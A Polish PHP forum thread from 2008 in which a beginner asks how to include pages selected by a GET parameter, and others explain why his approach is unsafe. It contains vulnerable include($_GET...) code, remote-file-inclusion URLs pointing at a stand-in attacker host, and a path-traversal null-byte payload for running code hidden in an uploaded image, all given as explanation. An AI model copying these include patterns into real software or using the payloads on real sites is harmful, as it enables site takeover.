Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [php] includowanie linków
predator
post 23.02.2008, 16:58:36
Post #1





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


Mam taki kod:
Kod
<?php
  $plik1 = "katalog/$_GET[lol]".".php";
  include($plik1);
  ?>


i link:
Kod
<a href="katalog/index.php?lol=plik1" onfocus=blur()>link1</a>


Jak przekształcic ten pierwszy kod bym mógł includowac wiecej linków?

Wczesniej to robiłem w taki sposób:

Kod
<?
  switch ($_GET['lol'])
  {
  case 1:
  include ("katalog/plik1.php");
  break;
  
  case 2:
  include ("katalog/plik2.php");
  break;
  
  }
  ?>


ale był to niebezpieczny sposób

Ten post edytował predator 23.02.2008, 17:13:03
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 17:01:44
Post #2





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Cytat(predator @ 23.02.2008, 16:58:36 ) *
ale był to niebezpieczny sposób



Twój nowy sposób jest raczej niebezpieczny, a nie stary smile.gif Sprecyzuj dokładniej, czego chcesz. Zaincludować kilka plików za jednym razem?


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
Cysiaczek
post 23.02.2008, 17:05:53
Post #3





Grupa: Moderatorzy
Postów: 4 465
Pomógł: 137
Dołączył: 26.03.2004
Skąd: Gorzów Wlkp.




Dlaczego niebezpieczny? Właśnie bardzo bezpieczny, bo była skończona ilość możliwości i nie bazowało to na nazwie pliku.
Co do pytania... jak więcej? Kilka różnych include? To w takim razie musisz przekazać więcej parametrów do skryptu i użyć pętli do odczytania nazw plików, bo $_GET['lol'] to teraz jest tablica.
  1. index.php?lol[]=plik&lol[]=kolejny_plik


Pozdrawiam.

Popraw proszę tytuł topiku na zgodny z zasadami forum Przedszkole


--------------------
To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness;
chaotic, confused, vulnerability, to inform yourself.
Think for yourself. Question authority.
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 17:24:31
Post #4





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


http://www.webtips.pl/index.php?showtopic=3899&hl= tutaj jest opisane dlaczego nie bezpieczne

nie chce includowac kilka plików za jednym razem tylko poprostu kilka linków zrobic i nie wiem jak bo jak bede tak pisał:

Kod
<?php
    $plik1 = "katalog/$_GET[lol]".".php";
    include($plik1);
    ?>
  
  <?php
    $plik2 = "katalog/$_GET[lol]".".php";
    include($plik2);
    ?>
  
  <?php
    $plik3 = "katalog/$_GET[lol]".".php";
    include($plik3);
    ?>


by móc potem 3 linki utworzyc to kod jest ten błędny

jak robie tak:

Kod
<?
switch (katalog/$_GET[lol]".".php)
{
case plik1:
include ($plik1);
break;

case plik2:
include ($plik2);
break;

case plik3:
  include ($plik3);
  break;
}
?>


to tez nie działa

Ten post edytował predator 23.02.2008, 17:27:08
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 17:29:06
Post #5





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Sposób który stosowałeś wcześniej, był jak najbardziej poprawny i bezpieczny. Znajdź mi fragment w tamtym arcie, który odradza takiego rozwiązania... To co zaproponowałeś, czyli includowanie bezpośrednio tego co jest w GET, nawet przy dodawaniu folderu i rozszerzenia po prostu nie jest bezpieczne.


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
Cysiaczek
post 23.02.2008, 17:31:16
Post #6





Grupa: Moderatorzy
Postów: 4 465
Pomógł: 137
Dołączył: 26.03.2004
Skąd: Gorzów Wlkp.




... sciana.gif
Teraz to już wogóle nie rozumiem. Może zmień zawartość lol=plik w każdym linku?


--------------------
To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness;
chaotic, confused, vulnerability, to inform yourself.
Think for yourself. Question authority.
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 17:42:40
Post #7





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


juz sobie poradziłem
Kod
<?php
    $plik1 = "katalog/$_GET[lol1]".".php";
    include($plik1);
    ?>
  
  <?php
    $plik2 = "katalog/$_GET[lol]".".php";
    include($plik2);
    ?>

zmieniłem w kazdym includowaniu "lol" i przy kazdym linku bede musial dodawac inny numerek :/ nie wygodne to

przedtem takim sposobem ale gdy tu i tam było to samo słowo "lol" to mi includowalo 2 pliki na raz gdy kliknąłem w jeden link


podaje cytat tego tutka:

Cytat
Kod
<?php
include($_GET['adres']);
?>


Powoduje to oczywiście dołączenie pliku podanego w zmiennej, ale jest to bardzo NIEBEZPIECZNE, ponieważ każdy może do tej zmiennej wpisać co mu się żywnie podoba, np.

Kod
naszastrona.pl?adres=http://serwerhackera.pl/niszcz.php


Pierwszym co należy robić to nie podawać rozszerzenia w adresie strony, czyli adres wygląda tak

Kod
naszastrona.pl/index.php?adres=plik

a w kodzie będziemy mieli

Kod
<?php
$plik = "$_GET[adres]".".php";
include($plik);
?>


Jest to już jakaś forma zabezpieczenia, ale wystarczy, że hacker zgadnie to rozszerzenie które dodajemy, i dalej może wczytać swój plik

Kod
naszastrona.pl?adres=http://serwerhackera.pl/niszcz


Aby skrypt stał się bezpieczny musimy wymusić katalog z którego będziemy ładowali pliki...
adres ciągle taki:

Kod
naszastrona.pl/index.php?adres=plik

ale w kodzie zaszły zmiany
Kod
<?php
$plik = "katalog/$_GET[adres]".".php";
include($plik);
?>


Ostatnia wersja naszego skryptu jest już bezpieczna, ponieważ wczytuje ze zgóry narzuconego katalogu "katalog"...
Go to the top of the page
+Quote Post
Cysiaczek
post 23.02.2008, 17:45:57
Post #8





Grupa: Moderatorzy
Postów: 4 465
Pomógł: 137
Dołączył: 26.03.2004
Skąd: Gorzów Wlkp.




To teraz popatrz na kod, który pokazałeś

  1. <?php
  2. switch ($_GET['lol'])
  3. {
  4. case 1:
  5. include ("katalog/plik1.php");
  6. break;
  7.  
  8. case 2:
  9. include ("katalog/plik2.php");
  10. break;
  11.  
  12. }
  13. ?>


Gdzie coś Ci ktoś wklei? Jedynie może wymusić Wykonanie konkretnego case, ale to chyba dobrze, prawda?

--edit
Dla pewności:
  1. <?php
  2. $page=(integer) $_GET['lol'];
  3.  
  4. switch ($page)
  5. {
  6. case 1:
  7. include ("katalog/plik1.php");
  8. break;
  9.  
  10. case 2:
  11. include ("katalog/plik2.php");
  12. break;
  13.  
  14. }
  15. ?>


--------------------
To think for yourself you must question authority and
learn how to put yourself in a state of vulnerable, open-mindedness;
chaotic, confused, vulnerability, to inform yourself.
Think for yourself. Question authority.
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 17:57:15
Post #9





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


A ja jeszcze dodam coś od siebie, dlaczego Twoje nowe rozwiązanie jest niebezpieczne.

Załóżmy, że na stronie posiadasz również forum z możliwością uploadowania avatarów. Przygotuję sobie plik jpeg i wpiszę do niego złośliwy kod php (da się to zrobić). Plik jpeg zuploaduję na forum, i jego ścieżka będzie przykładowo taka:

Kod
./forum/uploads/asd.jpg


O ile samo umieszczenie takiego pliku nie jest niebezpieczne, wczytanie go Twoim skryptem już tak:

Kod
katalog/index.php?lol=../forum/uploads/asd.jpg% 0000

bez spacji po procencie

Skrypt się wczyta, wykona i strona leży winksmiley.jpg

Ten post edytował l0ud 23.02.2008, 17:58:08


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 18:21:25
Post #10





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


hmm chyba i macie racje ale w tym przykładzie co ja myslalem ze bezpieczny to jest wymuszony katalog z którego ma byc wykonywany plik a w tym z uzyciem case nie wiem czy jest takie wymuszenie
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 18:24:59
Post #11





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Pomyśl logicznie:

  1. <?php
  2. include ("katalog/plik1.php");
  3. ?>

(w case)

Czy tutaj odnosisz się gdziekolwiek do jakiejś zmiennej? Niewłaściwa zawartość spowoduje co najwyżej brak wykonania się case (co możesz przewidzieć używając 'default:') i w efekcie niedołączeniem żadnego pliku...


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
Synapsa
post 23.02.2008, 18:37:38
Post #12





Grupa: Zarejestrowani
Postów: 28
Pomógł: 3
Dołączył: 15.06.2007

Ostrzeżenie: (0%)
-----


A może w ten sposób.
  1. <?php
  2. if(file_exists(katalog/$_GET['action'].".php")){
  3. include(katalog/$_GET['action'].".php");
  4. }
  5. else {
  6. echo "Plik nie istnieje";
  7. }
  8. ?>
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 18:41:19
Post #13





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


ja dopiero sie ucze php ale rozumiem juz, dziękuje

--edit--
Kod
<?php
if(file_exists(katalog/$_GET['action'].".php")){
include(katalog/$_GET['action'].".php");
}
else {
echo "Plik nie istnieje";
}
?>


ciekawy pomysł, ale troche zawiły ten kod

Ten post edytował predator 23.02.2008, 18:50:10
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 18:43:37
Post #14





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Cytat(Synapsa @ 23.02.2008, 18:37:38 ) *
A może w ten sposób.
  1. <?php
  2. if(file_exists(katalog/$_GET['action'].&#092;".php\")){
  3. include(katalog/$_GET['action'].&#092;".php\");
  4. }
  5. else {
  6. echo &#092;"Plik nie istnieje\";
  7. }
  8. ?>




Prawdopodobnie również nie pomogło by przy 'moim' ataku. file_exists() zdaje się zabezpieczy jedynie przed wczytaniem kodu z zewnętrznego serwera. Pomijam fakt, że kod jest błedny.


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 19:13:57
Post #15





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


mam jeszcze pytanie, co oznacza fragment:
Kod
$page=(integer)

?
Go to the top of the page
+Quote Post
empuszek
post 23.02.2008, 19:43:53
Post #16





Grupa: Zarejestrowani
Postów: 62
Pomógł: 2
Dołączył: 29.12.2006
Skąd: Polska, gliwice

Ostrzeżenie: (0%)
-----


  1. <?php
  2. $page=(integer)
  3. ?>

Oznacza to że zmienna $page jest typu INT czyli przechowuje liczby.
Go to the top of the page
+Quote Post
predator
post 23.02.2008, 20:34:21
Post #17





Grupa: Zarejestrowani
Postów: 40
Pomógł: 0
Dołączył: 20.02.2008

Ostrzeżenie: (0%)
-----


a jaki to ma udział w bezpieczeństwie tego kodu?
Go to the top of the page
+Quote Post
l0ud
post 23.02.2008, 21:38:08
Post #18





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Cytat(predator @ 23.02.2008, 20:34:21 ) *
a jaki to ma udział w bezpieczeństwie tego kodu?


Taki, że ograniczasz zakres tej zmiennej do liczb całkowitych. Nie potrafię Ci powiedzieć co to pomoże gdy użyjesz instrukcji case, bo i tak jest bezpiecznie winksmiley.jpg


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 16.06.2025 - 19:03